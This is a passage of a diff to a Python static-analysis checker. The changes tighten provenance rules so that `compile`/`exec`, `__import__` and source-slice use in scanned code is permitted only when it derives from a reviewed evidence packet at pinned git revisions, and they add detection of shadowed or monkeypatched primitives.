provider_result_values + ) or any(provider_value_borrows_class(generator.iter, seen) for generator in value.generators) + if isinstance(value, ast.Call): + return ( + isinstance(value.func, ast.Attribute) + and value.func.attr in {"get", "pop", "popitem", "copy", "items", "values", "__getitem__", "__iter__", "__next__"} + and provider_value_borrows_class(value.func.value, seen) + ) or ( + isinstance(value.func, ast.Name) and value.func.id in {"next", "iter"} + and any(provider_value_borrows_class(argument, seen) for argument in value.args) + ) or ( + isinstance(value.func, ast.Name) and id(value.func) not in seen + and any( + provider_value_borrows_class( + ast.copy_location(ast.Call(func=provider_bound_callable, args=value.args, keywords=value.keywords), value), + seen | {id(value.func)}, + ) + for provider_bound_callable in provider_bindings.get(value.func.id, ()) if provider_bound_callable is not None + ) + ) or any( + provider_value_borrows_class(returned, seen) + for returned in python_local_call_return_values(value, tree, class_borrow_parents) + ) + if isinstance(value, ast.Subscript) and isinstance(value.slice, ast.Constant): + provider_container_values = provider_bindings.get(value.value.id, ()) if isinstance(value.value, ast.Name) else [value.value] + for provider_container_value in provider_container_values: + if isinstance(provider_container_value, ast.Dict): + selected = [element for key, element in zip(provider_container_value.keys, provider_container_value.values) + if key is None or isinstance(key, ast.Constant) and key.value == value.slice.value] + elif isinstance(provider_container_value, (ast.List, ast.Tuple)) and isinstance(value.slice.value, int) and not isinstance(value.slice.value, bool): + index = value.slice.value + selected = [provider_container_value.elts[index]] if -len(provider_container_value.elts) <= index < len(provider_container_value.elts) else [] + else: + selected = [provider_container_value] + if any(provider_value_borrows_class(element, seen) for element in selected): + return True + return False + return ( + isinstance(value, ast.Attribute) and value.attr == "Path" + and isinstance(value.value, ast.Name) and value.value.id in pathlib_provider_modules + ) + + for _ in range(sum(isinstance(statement, (ast.Assign, ast.AnnAssign, ast.NamedExpr)) for statement in ast.walk(tree)) + 1 if name in {"ast", "subprocess", "pathlib", "Path"} else 0): + before = set(module_aliases) + for statement in ast.walk(tree): + if isinstance(statement, ast.Assign): + bindings, provider_value = statement.targets, statement.value + elif isinstance(statement, (ast.AnnAssign, ast.NamedExpr)): + bindings, provider_value = [statement.target], statement.value + else: + continue + if ( + provider_value_borrows_class(provider_value) if name == "Path" + else isinstance(provider_value, ast.Name) and provider_value.id in module_aliases + ): + module_aliases.update( + part.id for binding in bindings for part in ast.walk(binding) + if isinstance(part, ast.Name) and isinstance(part.ctx, ast.Store) + ) + if module_aliases == before: + break + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Store) and candidate.id == name + or isinstance(candidate, ast.arg) and candidate.arg == name + or isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.ExceptHandler, ast.MatchAs, ast.MatchStar)) and candidate.name == name + or isinstance(candidate, ast.MatchMapping) and candidate.rest == name + ): + return True + if isinstance(candidate, (ast.Import, ast.ImportFrom)): + for imported in candidate.names: + binding = imported.asname or imported.name.split(".")[0] + if binding != name: + continue + genuine = ( + isinstance(candidate, ast.Import) and imported.name == name + and name in {"ast", "subprocess", "pathlib"} + ) or ( + isinstance(candidate, ast.ImportFrom) and candidate.module == "pathlib" + and imported.name == name == "Path" + ) + if not genuine: + return True + if isinstance(candidate, (ast.Assign, ast.AnnAssign, ast.NamedExpr)): + if provider_call is not None and candidate.lineno > provider_call.lineno: + continue + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + for target in targets: + if name == "subprocess" and isinstance(target, ast.Attribute) and target.attr != "check_output": + continue + if ( + isinstance(target, ast.Attribute) + or isinstance(target, ast.Subscript) and not isinstance(target.value, ast.Name) + ) and any( + isinstance(part, ast.Name) and part.id in module_aliases + for part in ast.walk(target.value) + ): + return True + if ( + name == "Path" + and isinstance(candidate, ast.Call) + and (provider_call is None or candidate.lineno <= provider_call.lineno) + and any( + provider_value_borrows_class(argument) + for argument in [*candidate.args, *(keyword.value for keyword in candidate.keywords)] + ) + and not ( + isinstance(candidate.func, ast.Name) + and candidate.func.id in {"getattr", "hasattr", "isinstance", "issubclass", "type", "compile", "exec", "len", "any", "all"} + and not python_compile_primitive_is_shadowed(candidate.func.id, tree) + ) + ): + # A provider passed to an opaque callable may be patched indirectly; + # do not need to prove which container holds the setter to refuse it. + return True + if ( + isinstance(candidate, ast.Call) and candidate.args + and any(isinstance(part, ast.Name) and part.id in module_aliases for part in ast.walk(candidate.args[0])) + and ( + python_dotted_name(candidate.func) in {"setattr", "delattr", "builtins.setattr", "builtins.delattr"} + or isinstance(candidate.func, ast.Name) and any( + python_assigned_callable_alias(candidate.func.id, setter, tree) + or python_imported_function_alias_is_stable(candidate.func.id, "builtins", setter, tree) + for setter in ("setattr", "delattr") + ) + ) + and (provider_call is None or candidate.lineno <= provider_call.lineno) + ): + return True + return False + + +def reviewed_python_source_slice(node, source_names, tree): + """Certify only the packet's closed extraction recipes, never arbitrary text.""" + if not ( + tree is not None and isinstance(node, ast.Subscript) + and isinstance(node.value, ast.Name) and node.value.id in source_names + and isinstance(node.slice, ast.Slice) and node.slice.step is None + ): + return False + slice_context = getattr(tree, "_issue79_source_slice_context", None) + if slice_context is None: + slice_parents = {child: parent for parent in ast.walk(tree) for child in ast.iter_child_nodes(parent)} + slice_definitions = {} + for slice_statement in ast.walk(tree): + if isinstance(slice_statement, ast.Assign) and len(slice_statement.targets) == 1 and isinstance(slice_statement.targets[0], ast.Name): + slice_definitions.setdefault(slice_statement.targets[0].id, []).append(slice_statement) + slice_context = (slice_parents, slice_definitions, {}) + tree._issue79_source_slice_context = slice_context + slice_parents, slice_definitions, slice_recipe_results = slice_context + # Only the structural recipe is cached. Base provenance is checked above + # on every call, including after source-name invalidation. + if node in slice_recipe_results: + return slice_recipe_results[node] + + def slice_position(value, end=False): + return (value.end_lineno, value.end_col_offset) if end else (value.lineno, value.col_offset) + + def slice_point(value, seen=None): + if value is None: + return (None, 0) + seen = seen or set() + if id(value) in seen: + return None + seen = seen | {id(value)} + if isinstance(value, ast.Name): + slice_scopes = python_lexical_scope_chain(python_enclosing_scope(value, slice_parents), slice_parents) + for slice_scope in slice_scopes: + candidates = [ + statement for statement in slice_definitions.get(value.id, ()) + if python_enclosing_scope(statement, slice_parents) is slice_scope + and slice_position(statement, end=True) < slice_position(value) + ] + if not candidates: + # Local binders must not borrow same-spelled outer bounds. + if any( + isinstance(part, (ast.Name, ast.arg)) + and (part.id if isinstance(part, ast.Name) else part.arg) == value.id + and (not isinstance(part, ast.Name) or isinstance(part.ctx, ast.Store)) + and python_enclosing_scope(part, slice_parents) is slice_scope + for part in ast.walk(tree) + ): + return None + continue + latest = max(candidates, key=lambda statement: slice_position(statement, end=True)) + if isinstance(slice_scope, ast.Module) and python_enclosing_scope(value, slice_parents) is not slice_scope: + # A deferred outer capture needs one immutable assignment; + # definition-line ordering cannot exclude later rebindings. + if sum( + isinstance(part, ast.Name) and isinstance(part.ctx, ast.Store) and part.id == value.id + and python_enclosing_scope(part, slice_parents) is slice_scope + for part in ast.walk(tree) + ) != 1: + return None + if not isinstance(slice_parents.get(latest), (ast.Module, ast.FunctionDef, ast.AsyncFunctionDef)): + return None + if any( + isinstance(part, (ast.Name, ast.arg)) + and (part.id if isinstance(part, ast.Name) else part.arg) == value.id + and (not isinstance(part, ast.Name) or isinstance(part.ctx, ast.Store)) + and python_enclosing_scope(part, slice_parents) is slice_scope + and slice_position(latest, end=True) < slice_position(part) <= slice_position(value) + for part in ast.walk(tree) + ): + return None + return slice_point(latest.value, seen) + return None + if isinstance(value, ast.BinOp) and isinstance(value.op, ast.Add): + left = slice_point(value.left, seen) + if left is None or left[1] != 0: + return None + if isinstance(value.right, ast.Constant) and value.right.value == 1 and not isinstance(value.right.value, bool): + return (left[0], 1) + if ( + isinstance(value.right, ast.Call) and isinstance(value.right.func, ast.Name) + and value.right.func.id == "len" and not value.right.keywords and len(value.right.args) == 1 + and isinstance(value.right.args[0], ast.Constant) and value.right.args[0].value == left[0] + and not python_compile_primitive_is_shadowed("len", tree) + ): + return (left[0], "length") + return None + if not ( + isinstance(value, ast.Call) and isinstance(value.func, ast.Attribute) + and value.func.attr in {"index", "find", "rfind"} and not value.keywords + and ast.dump(value.func.value) == ast.dump(node.value) and 1 <= len(value.args) <= 3 + and isinstance(value.args[0], ast.Constant) and isinstance(value.args[0].value, str) + ): + return None + for anchor_value in value.args[1:]: + if isinstance(anchor_value, ast.Constant) and anchor_value.value == 0 and not isinstance(anchor_value.value, bool): + continue + anchor_point = slice_point(anchor_value, seen) + if anchor_point is None or anchor_point[0] not in { + "go_test_checked()", "def forbidden_command(tokens, depth=0):", "def python_heredoc_invocation(stripped):", + "def executable_shell_commands", "def executable_shell_commands(markdown):", "def git_query", + "The packet also runs a command-line scan over fenced", '\nfence_languages = {"sh", "bash", "shell", "zsh"}', + 'fence_languages = {"sh", "bash", "shell", "zsh"}', "\nimport hashlib\n", + "def skip_source_ignored", "def source_fuzz_declarations", "def go_compatible_regexp", + "def reject_python_semantic_regexp_constructs", "def validate_test_stream(stdout, stderr):", + "def git_source_control_entries(repo_root, module_dir, env):", + "def git_worktree_matches_pinned_blobs(repo_root, module_dir, env):", + "git_transport_override_names = ", 'source = Path(', + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + "/opt/homebrew/bin/python3 -I - <<'PY'\n", + }: + return None + return (value.args[0].value, 0) + + lower, upper = slice_point(node.slice.lower), slice_point(node.slice.upper) + if lower is None or upper is None: + return False + recipes = { + (("def validate_test_stream(stdout, stderr):", 0), ('\nrun_command = command + ["-json"]', 0)), + (("\nimport hashlib\n", 1), ("\nPY\n}", 0)), + (("def skip_source_ignored", 0), ("\nall_test_names = []", 0)), + (("def source_fuzz_declarations", 0), ("\nsource_fuzz_guard()", 0)), + (("def go_compatible_regexp", 0), ("\nall_test_names = []", 0)), + (("def reject_python_semantic_regexp_constructs", 0), ("\nsource_fuzz_guard()", 0)), + (("def executable_shell_commands", 0), ("\nguarded, fixtures =", 0)), + (("def git_source_control_entries(repo_root, module_dir, env):", 0), ("\ndef package_initialization_guard", 0)), + (("def git_worktree_matches_pinned_blobs(repo_root, module_dir, env):", 0), ("\ndef package_initialization_guard", 0)), + (("git_transport_override_names = ", 0), ("git_environment = {", 0)), + (("/opt/homebrew/bin/python3 -I - <<'PY'\n", "length"), ("\nPY\n```", 0)), + } + recipes.update(((marker, 0), ("\nmatches = []", 0)) for marker in { + 'source = Path(', 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + 'fence_languages = {"sh", "bash", "shell", "zsh"}', + }) + recipes.update(((marker, 0), ("\nguarded, fixtures =", 0)) for marker in { + 'source = Path(', 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + }) + recipes.update(((None, 0), (marker, 0)) for marker in { + "run_result = run_go_child", "compiler_tool_environment_names =", "repo_root = Path(", + }) + recipes.add(((None, 0), ("\ngo_env = dict(env)", "length"))) + slice_recipe_results[node] = (lower, upper) in recipes + return slice_recipe_results[node] + def python_compile_provenance(tree): """Resolve source/AST provenance before permitting static compile/exec.""" + cached = getattr(tree, "_issue79_compile_provenance", None) + if cached is not None: + return cached source_names = set() ast_names = set() packet_path_names = set() + parents = {child: parent for parent in ast.walk(tree) for child in ast.iter_child_nodes(parent)} def target_names(target): if isinstance(target, ast.Name): @@ -9331,7 +11546,7 @@ def python_compile_provenance(tree): return any( isinstance(candidate, ast.Constant) and isinstance(candidate.value, str) - and "docs/evidence/g01-recovery-packet.md" in candidate.value + and candidate.value == "docs/evidence/g01-recovery-packet.md" for candidate in ast.walk(node) ) or any( isinstance(candidate, ast.Name) and candidate.id in packet_path_names @@ -9342,7 +11557,7 @@ def python_compile_provenance(tree): literal_path = ( isinstance(value, ast.Constant) and isinstance(value.value, str) - and "docs/evidence/g01-recovery-packet.md" in value.value + and value.value == "docs/evidence/g01-recovery-packet.md" ) path_constructor = ( isinstance(value, ast.Call) @@ -9359,26 +11574,11 @@ def python_compile_provenance(tree): continue packet_path_names.update(target_names(node.targets[0])) - for node in ast.walk(tree): - if not isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): - continue - literals = { - candidate.value - for candidate in ast.walk(node) - if isinstance(candidate, ast.Constant) - and isinstance(candidate.value, str) - } - if ( - any('source = Path("docs/evidence/g01-recovery-packet.md")' in value for value in literals) - and any("matches = []" in value for value in literals) - ): - source_names.update(argument.arg for argument in node.args.args) - def source_value(node): if isinstance(node, ast.Name): return node.id in source_names if isinstance(node, ast.Subscript): - return source_value(node.value) + return reviewed_python_source_slice(node, source_names, tree) if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): return source_value(node.left) and source_value(node.right) if isinstance(node, ast.Call): @@ -9387,9 +11587,18 @@ def python_compile_provenance(tree): isinstance(node.func, ast.Attribute) and node.func.attr == "replace" ): - return source_value(node.func.value) + return ( + source_value(node.func.value) and not node.keywords and len(node.args) == 3 + and all(isinstance(argument, ast.Constant) for argument in node.args) + and node.args[0].value == 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")' + and node.args[1].value in {'source = ""', 'source = packet'} + and isinstance(node.args[2].value, int) and not isinstance(node.args[2].value, bool) + and node.args[2].value == 1 + ) if isinstance(node.func, ast.Attribute) and node.func.attr == "read_text": receiver = node.func.value + if python_compile_primitive_is_shadowed("Path", tree) or python_compile_primitive_is_shadowed("pathlib", tree): + return False return ( isinstance(receiver, ast.Call) and python_dotted_name(receiver.func) in {"Path", "pathlib.Path"} @@ -9400,16 +11609,106 @@ def python_compile_provenance(tree): and receiver.id in packet_path_names ) if dotted == "subprocess.check_output": - return contains_packet_path(node) + if python_compile_primitive_is_shadowed("subprocess", tree, node) or not node.args: + return False + command = node.args[0] + if not isinstance(command, (ast.List, ast.Tuple)) or len(command.elts) != 15: + return False + prefix = [part.value if isinstance(part, ast.Constant) else None for part in command.elts[:-1]] + if prefix != [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", + ]: + return False + def literal_reference(value, seen=None): + seen = seen or set() + if isinstance(value, ast.Constant) and isinstance(value.value, str): + return value.value + if isinstance(value, ast.Name) and value.id not in seen: + bindings = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Store) + and candidate.id == value.id + ] + definitions = [ + candidate.value for candidate in ast.walk(tree) + if isinstance(candidate, ast.Assign) and len(candidate.targets) == 1 + and isinstance(candidate.targets[0], ast.Name) and candidate.targets[0].id == value.id + ] + if len(bindings) == len(definitions) == 1: + return literal_reference(definitions[0], seen | {value.id}) + if isinstance(value, ast.JoinedStr): + parts = [] + for part in value.values: + if isinstance(part, ast.FormattedValue): + if part.conversion != -1 or part.format_spec is not None: + return None + part = part.value + resolved = literal_reference(part, set(seen)) + if resolved is None: + return None + parts.append(resolved) + return "".join(parts) + return None + reference = literal_reference(command.elts[-1]) + references = {reference} if reference is not None else set() + return bool(references) and all( + re.fullmatch(r"[0-9a-f]{40}:docs/evidence/g01-recovery-packet\.md", reference) + and reference.split(":", 1)[0] in reviewed_python_compile_packet_revisions + for reference in references + ) return False - def ast_value(node): + ast_is_shadowed = python_compile_primitive_is_shadowed("ast", tree) + + def ast_value(node, local_names=None): + local_names = local_names or set() if isinstance(node, ast.Name): - return node.id in ast_names + return node.id in ast_names or node.id in local_names + if isinstance(node, ast.Attribute): + return node.attr == "body" and ast_value(node.value, local_names) + if isinstance(node, ast.Subscript): + return ast_value(node.value, local_names) if isinstance(node, ast.Call): - return python_dotted_name(node.func) in {"ast.parse", "ast.Module"} + dotted = python_dotted_name(node.func) + if ast_is_shadowed: + return False + if dotted == "ast.parse": + return bool(node.args) and source_value(node.args[0]) + if dotted == "ast.walk": + return len(node.args) == 1 and ast_value(node.args[0], local_names) + if dotted == "ast.Module" and not node.args: + keywords = {keyword.arg: keyword.value for keyword in node.keywords} + return ( + set(keywords) == {"body", "type_ignores"} + and isinstance(keywords["type_ignores"], ast.List) + and not keywords["type_ignores"].elts + and ast_value(keywords["body"], local_names) + ) + return False if isinstance(node, (ast.List, ast.Tuple)): - return bool(node.elts) and all(ast_value(element) for element in node.elts) + return all(ast_value(element, local_names) for element in node.elts) + if isinstance(node, ast.Dict): + return all(key is not None for key in node.keys) and all( + ast_value(element, local_names) for element in node.values + ) + if isinstance(node, (ast.ListComp, ast.DictComp)): + bound_names = set(local_names) + for generator in node.generators: + ast_iterable = ast_value(generator.iter, bound_names) + literal_keys = isinstance(generator.iter, (ast.List, ast.Tuple, ast.Set)) and all( + isinstance(element, ast.Constant) and isinstance(element.value, str) + for element in generator.iter.elts + ) + if generator.is_async or not (ast_iterable or literal_keys): + return False + if ast_iterable: + bound_names.update(target_names(generator.target)) + element = node.value if isinstance(node, ast.DictComp) else node.elt + return ast_value(element, bound_names) return False assignments = [] @@ -9420,6 +11719,16 @@ def python_compile_provenance(tree): assignments.append((node.target, node.value)) elif isinstance(node, ast.NamedExpr): assignments.append((node.target, node.value)) + elif isinstance(node, ast.AugAssign): + assignments.append((node.target, None)) + unsupported_source_binders = { + node.id for node in ast.walk(tree) + if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store) + and not ( + isinstance(parents.get(node), ast.Assign) and node in parents[node].targets + or isinstance(parents.get(node), (ast.AnnAssign, ast.NamedExpr)) and parents[node].target is node + ) + } tainted_packet_path_names = { name for target, value in assignments @@ -9427,6 +11736,39 @@ def python_compile_provenance(tree): if name in packet_path_names and not packet_path_value(value) } packet_path_names.difference_update(tainted_packet_path_names) + packet_path_names.difference_update(unsupported_source_binders) + source_parameter_rules = [] + for function in ast.walk(tree): + if not isinstance(function, ast.FunctionDef): + continue + uses = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) and isinstance(candidate.ctx, ast.Load) + and candidate.id == function.name + ] + compile_source_call_nodes = [parents.get(use) for use in uses] + direct_only = bool(compile_source_call_nodes) and not function.decorator_list and all( + isinstance(compile_source_call_node, ast.Call) and compile_source_call_node.func is use + for use, compile_source_call_node in zip(uses, compile_source_call_nodes) + ) and sum( + isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) + and candidate.name == function.name for candidate in ast.walk(tree) + ) == 1 and not any( + isinstance(candidate, (ast.Name, ast.arg)) + and (candidate.id if isinstance(candidate, ast.Name) else candidate.arg) == function.name + and (not isinstance(candidate, ast.Name) or isinstance(candidate.ctx, ast.Store)) + for candidate in ast.walk(tree) + ) + for index, parameter in enumerate(list(function.args.posonlyargs) + list(function.args.args)): + source_parameter_rules.append((parameter.arg, index, compile_source_call_nodes if direct_only else [])) + + def source_parameter_is_proven(index, compile_source_call_nodes): + return bool(compile_source_call_nodes) and all( + not compile_source_call_node.keywords and index < len(compile_source_call_node.args) + and source_value(compile_source_call_node.args[index]) + for compile_source_call_node in compile_source_call_nodes + ) + for _ in range(len(assignments) + 1): changed = False for target, value in assignments: @@ -9436,31 +11778,211 @@ def python_compile_provenance(tree): if name not in source_names: source_names.add(name) changed = True + for parameter, index, compile_source_call_nodes in source_parameter_rules: + if parameter not in source_names and source_parameter_is_proven(index, compile_source_call_nodes): + source_names.add(parameter) + changed = True + if not changed: + break + while True: + invalidated_source_names = { + name for target, value in assignments for name in target_names(target) + if name in source_names and not source_value(value) + } + invalidated_source_names.update( + parameter for parameter, index, compile_source_call_nodes in source_parameter_rules + if parameter in source_names and not source_parameter_is_proven(index, compile_source_call_nodes) + ) + invalidated_source_names.update(unsupported_source_binders.intersection(source_names)) + if not invalidated_source_names: + break + source_names.difference_update(invalidated_source_names) + + ast_bindings = list(assignments) + ast_bindings.extend( + (candidate.target, candidate.iter) + for candidate in ast.walk(tree) + if isinstance(candidate, ast.For) + ) + for _ in range(len(ast_bindings) + 1): + changed = False + for target, value in ast_bindings: if ast_value(value): - for name in names: + for name in target_names(target): if name not in ast_names: ast_names.add(name) changed = True if not changed: break - invalidated_source_names = { - name - for target, value in assignments - for name in target_names(target) - if name in source_names and not source_value(value) + ast_aliases = {name: set() for name in ast_names} + for target, value in ast_bindings: + if value is None: + continue + comprehension_bound_names = { + bound for part in ast.walk(value) if isinstance(part, ast.comprehension) + for bound in target_names(part.target) + } + dependencies = { + part.id for part in ast.walk(value) + if isinstance(part, ast.Name) and isinstance(part.ctx, ast.Load) and part.id in ast_names + and part.id not in comprehension_bound_names + } + for alias in target_names(target): + if alias not in ast_aliases: + continue + for dependency in dependencies: + ast_aliases[alias].add(dependency) + ast_aliases[dependency].add(alias) + + def ast_receiver_names(value, seen=None): + seen = seen or set() + if value is None or id(value) in seen: + return set() + seen = seen | {id(value)} + if isinstance(value, ast.Name): + current = parents.get(value) + while current is not None: + if isinstance(current, (ast.ListComp, ast.DictComp, ast.SetComp, ast.GeneratorExp)): + matching = [ + generator for generator in current.generators + if value.id in target_names(generator.target) and value not in ast.walk(generator.iter) + ] + if matching: + return set().union(*(ast_receiver_names(generator.iter, seen) for generator in matching)) + current = parents.get(current) + return {value.id}.intersection(ast_aliases) + if isinstance(value, (ast.Attribute, ast.Subscript)): + if isinstance(value, ast.Attribute) and value.attr in {"name", "id", "arg", "attr", "lineno", "end_lineno", "col_offset", "end_col_offset"}: + return set() + return ast_receiver_names(value.value, seen) + if isinstance(value, ast.Call) and ( + python_dotted_name(value.func) in {"ast.unparse", "ast.dump", "ast.literal_eval"} + or isinstance(value.func, ast.Name) and value.func.id in {"len", "isinstance", "any", "all"} + and not python_compile_primitive_is_shadowed(value.func.id, tree) + or isinstance(value.func, ast.Attribute) and value.func.attr == "keys" + and ast_value(value.func.value) and not value.args and not value.keywords + ): + return set() + return set().union(*(ast_receiver_names(child, seen) for child in ast.iter_child_nodes(value))) + + # Origin aliases are broader than certified compiler values: a reader may + # expose mutable children without itself being a supported compiler input. + # Keep those borrowed objects linked to the certified roots until taint + # propagates, rather than granting the reader new compile authority. + for _ in range(len(ast_bindings) + 1): + origin_links_changed = False + for target, value in ast_bindings: + origins = ast_receiver_names(value) + for alias in target_names(target): + if not origins: + continue + ast_aliases.setdefault(alias, set()) + for origin in origins: + if origin == alias or origin in ast_aliases[alias]: + continue + ast_aliases[alias].add(origin) + ast_aliases[origin].add(alias) + origin_links_changed = True + if not origin_links_changed: + break + + shadowed_ast_names = { + candidate.arg for candidate in ast.walk(tree) if isinstance(candidate, ast.arg) + } | { + candidate.name for candidate in ast.walk(tree) + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef, ast.ExceptHandler, ast.MatchAs, ast.MatchStar)) + and candidate.name is not None + } | { + candidate.rest for candidate in ast.walk(tree) + if isinstance(candidate, ast.MatchMapping) and candidate.rest is not None + } | { + alias.asname or alias.name.split(".")[0] + for candidate in ast.walk(tree) if isinstance(candidate, (ast.Import, ast.ImportFrom)) + for alias in candidate.names } - invalidated_ast_names = { - name - for target, value in assignments - for name in target_names(target) - if name in ast_names and not ast_value(value) + readonly_primitive_names = { + name for name in {"isinstance", "len", "any", "all", "next", "compile", "exec"} + if not python_compile_primitive_is_shadowed(name, tree) } - source_names.difference_update(invalidated_source_names) - ast_names.difference_update(invalidated_ast_names) - return source_names, ast_names + while True: + invalidated_ast_names = { + name for target, value in ast_bindings for name in target_names(target) + if name in ast_names and not ast_value(value) + } + invalidated_ast_names.update(shadowed_ast_names.intersection(ast_names)) + mutated_ast_names = set() + for target, value in assignments: + if isinstance(target, (ast.Subscript, ast.Attribute)): + if not isinstance(target, ast.Subscript) or not ast_value(value): + mutated_ast_names.update(ast_receiver_names(target.value)) + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Call) and python_dotted_name(candidate.func) not in ({ + "ast.parse", "ast.walk", "ast.Module", "ast.dump", "ast.literal_eval", "ast.unparse", + } | readonly_primitive_names) and not ( + isinstance(candidate.func, ast.Attribute) + and candidate.func.attr in {"append", "extend", "insert", "update", "setdefault", "__setitem__", "__setattr__"} + and ast_receiver_names(candidate.func.value) + and not candidate.keywords + and all(ast_value(argument) for argument in candidate.args) + ) and not ( + isinstance(candidate.func, ast.Attribute) and candidate.func.attr == "issubset" + and isinstance(candidate.func.value, ast.Name) + and sum( + isinstance(part, ast.Name) and isinstance(part.ctx, ast.Store) + and part.id == candidate.func.value.id for part in ast.walk(tree) + ) == 1 + and any( + isinstance(target, ast.Name) and target.id == candidate.func.value.id + and isinstance(value, ast.Set) + and all(isinstance(element, ast.Constant) and isinstance(element.value, str) for element in value.elts) + for target, value in assignments + ) + ): + # A bound method's receiver is an input too. Unknown methods + # (including saved method aliases) can mutate borrowed children + # even when their explicit arguments have no reviewed origin. + if not ( + isinstance(candidate.func, ast.Attribute) + and candidate.func.attr in {"get", "keys", "items", "values", "copy", "count", "index"} + ): + mutated_ast_names.update(ast_receiver_names(candidate.func)) + for argument in candidate.args: + mutated_ast_names.update(ast_receiver_names(argument)) + for keyword in candidate.keywords: + mutated_ast_names.update(ast_receiver_names(keyword.value)) + if isinstance(candidate, ast.Attribute) and candidate.attr in {"append", "extend", "insert", "update", "setdefault", "__setitem__", "__setattr__"}: + parent = parents.get(candidate) + if not isinstance(parent, ast.Call) or parent.func is not candidate: + mutated_ast_names.update(ast_receiver_names(candidate.value)) + if ( + isinstance(candidate, ast.Call) and isinstance(candidate.func, ast.Name) + and candidate.func.id in {"setattr", "delattr"} and candidate.args + ): + mutated_ast_names.update(ast_receiver_names(candidate.args[0])) + if not ( + isinstance(candidate, ast.Call) and isinstance(candidate.func, ast.Attribute) + and candidate.func.attr in {"append", "extend", "insert", "update", "setdefault", "__setitem__", "__setattr__"} + ): + continue + values = candidate.args[1:] if candidate.func.attr in {"insert", "setdefault", "__setitem__"} else candidate.args + if not values or candidate.keywords or not all(ast_value(value) for value in values): + mutated_ast_names.update(ast_receiver_names(candidate.func.value)) + pending = list(mutated_ast_names) + while pending: + current = pending.pop() + for alias in ast_aliases.get(current, ()): + if alias not in mutated_ast_names: + mutated_ast_names.add(alias) + pending.append(alias) + invalidated_ast_names.update(mutated_ast_names.intersection(ast_names)) + if not invalidated_ast_names: + break + ast_names.difference_update(invalidated_ast_names) + tree._issue79_compile_provenance = (source_names, ast_names) + return tree._issue79_compile_provenance -def reviewed_python_compile_source(node, provenance=None): +def reviewed_python_compile_source(node, provenance=None, tree=None): """Permit only packet-derived source slices or provenance-checked AST nodes.""" source_provenance, ast_provenance = provenance or (set(), set()) if isinstance(node, ast.Name): @@ -9472,20 +11994,13 @@ def reviewed_python_compile_source(node, provenance=None): and node.id in ast_provenance ) if isinstance(node, ast.Subscript): - if not ( - isinstance(node.value, ast.Name) - and node.value.id in reviewed_python_compile_slice_bases - and node.value.id in source_provenance - and isinstance(node.slice, ast.Slice) - ): - return False - return all( - part is None or isinstance(part, ast.Name) - for part in (node.slice.lower, node.slice.upper, node.slice.step) + return ( + isinstance(node.value, ast.Name) and node.value.id in reviewed_python_compile_slice_bases + and reviewed_python_source_slice(node, source_provenance, tree) ) if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): - return reviewed_python_compile_source(node.left, provenance) and reviewed_python_compile_source( - node.right, provenance + return reviewed_python_compile_source(node.left, provenance, tree) and reviewed_python_compile_source( + node.right, provenance, tree ) if not ( isinstance(node, ast.Call) @@ -9501,17 +12016,18 @@ def reviewed_python_compile_source(node, provenance=None): return False body = keywords["body"] if isinstance(body, ast.Name): - return body.id in reviewed_python_compile_ast_names + return body.id in reviewed_python_compile_ast_names and body.id in ast_provenance if not isinstance(body, ast.List) or not body.elts: return False for element in body.elts: if isinstance(element, ast.Name): - if element.id not in reviewed_python_compile_ast_names: + if element.id not in reviewed_python_compile_ast_names or element.id not in ast_provenance: return False elif not ( isinstance(element, ast.Subscript) and isinstance(element.value, ast.Name) and element.value.id == "functions" + and element.value.id in ast_provenance and isinstance(element.slice, ast.Constant) and isinstance(element.slice.value, str) ): @@ -9519,19 +12035,23 @@ def reviewed_python_compile_source(node, provenance=None): return True -def reviewed_python_exec_call(call, safe_marker, tree=None): +def reviewed_python_exec_call(call_node, safe_marker, tree=None): """Allow only the packet's static compile/exec metaprogramming path.""" - if not isinstance(call.func, ast.Name) or call.func.id != "exec": + if not isinstance(call_node.func, ast.Name) or call_node.func.id != "exec": + return False + if tree is not None and any( + python_compile_primitive_is_shadowed(name, tree) for name in ("exec", "compile") + ): return False - if not call.args or not isinstance(call.args[0], ast.Call): + if not call_node.args or not isinstance(call_node.args[0], ast.Call): return False - compiler = call.args[0] + compiler = call_node.args[0] if not isinstance(compiler.func, ast.Name) or compiler.func.id != "compile": return False if len(compiler.args) != 3 or compiler.keywords: return False provenance = python_compile_provenance(tree) if tree is not None else (set(), set()) - if not reviewed_python_compile_source(compiler.args[0], provenance): + if not reviewed_python_compile_source(compiler.args[0], provenance, tree): return False filename, mode = compiler.args[1:3] return ( @@ -9572,13 +12092,13 @@ def python_indirect_execution_violation(tree, parents, safe_marker): return None -def reviewed_python_import_call(call, safe_marker): +def reviewed_python_import_call(call_node, safe_marker): """Allow only literal imports used by packet-only probes.""" - if not isinstance(call.func, ast.Name) or call.func.id != "__import__": + if not isinstance(call_node.func, ast.Name) or call_node.func.id != "__import__": return False - if not call.args or not isinstance(call.args[0], ast.Constant): + if not call_node.args or not isinstance(call_node.args[0], ast.Constant): return False - module = call.args[0].value + module = call_node.args[0].value return isinstance(module, str) and module in reviewed_python_import_modules @@ -9684,6 +12204,7 @@ def reviewed_python_heredoc_segment(command, tokens): return any( descriptor["invocation"] is not None and 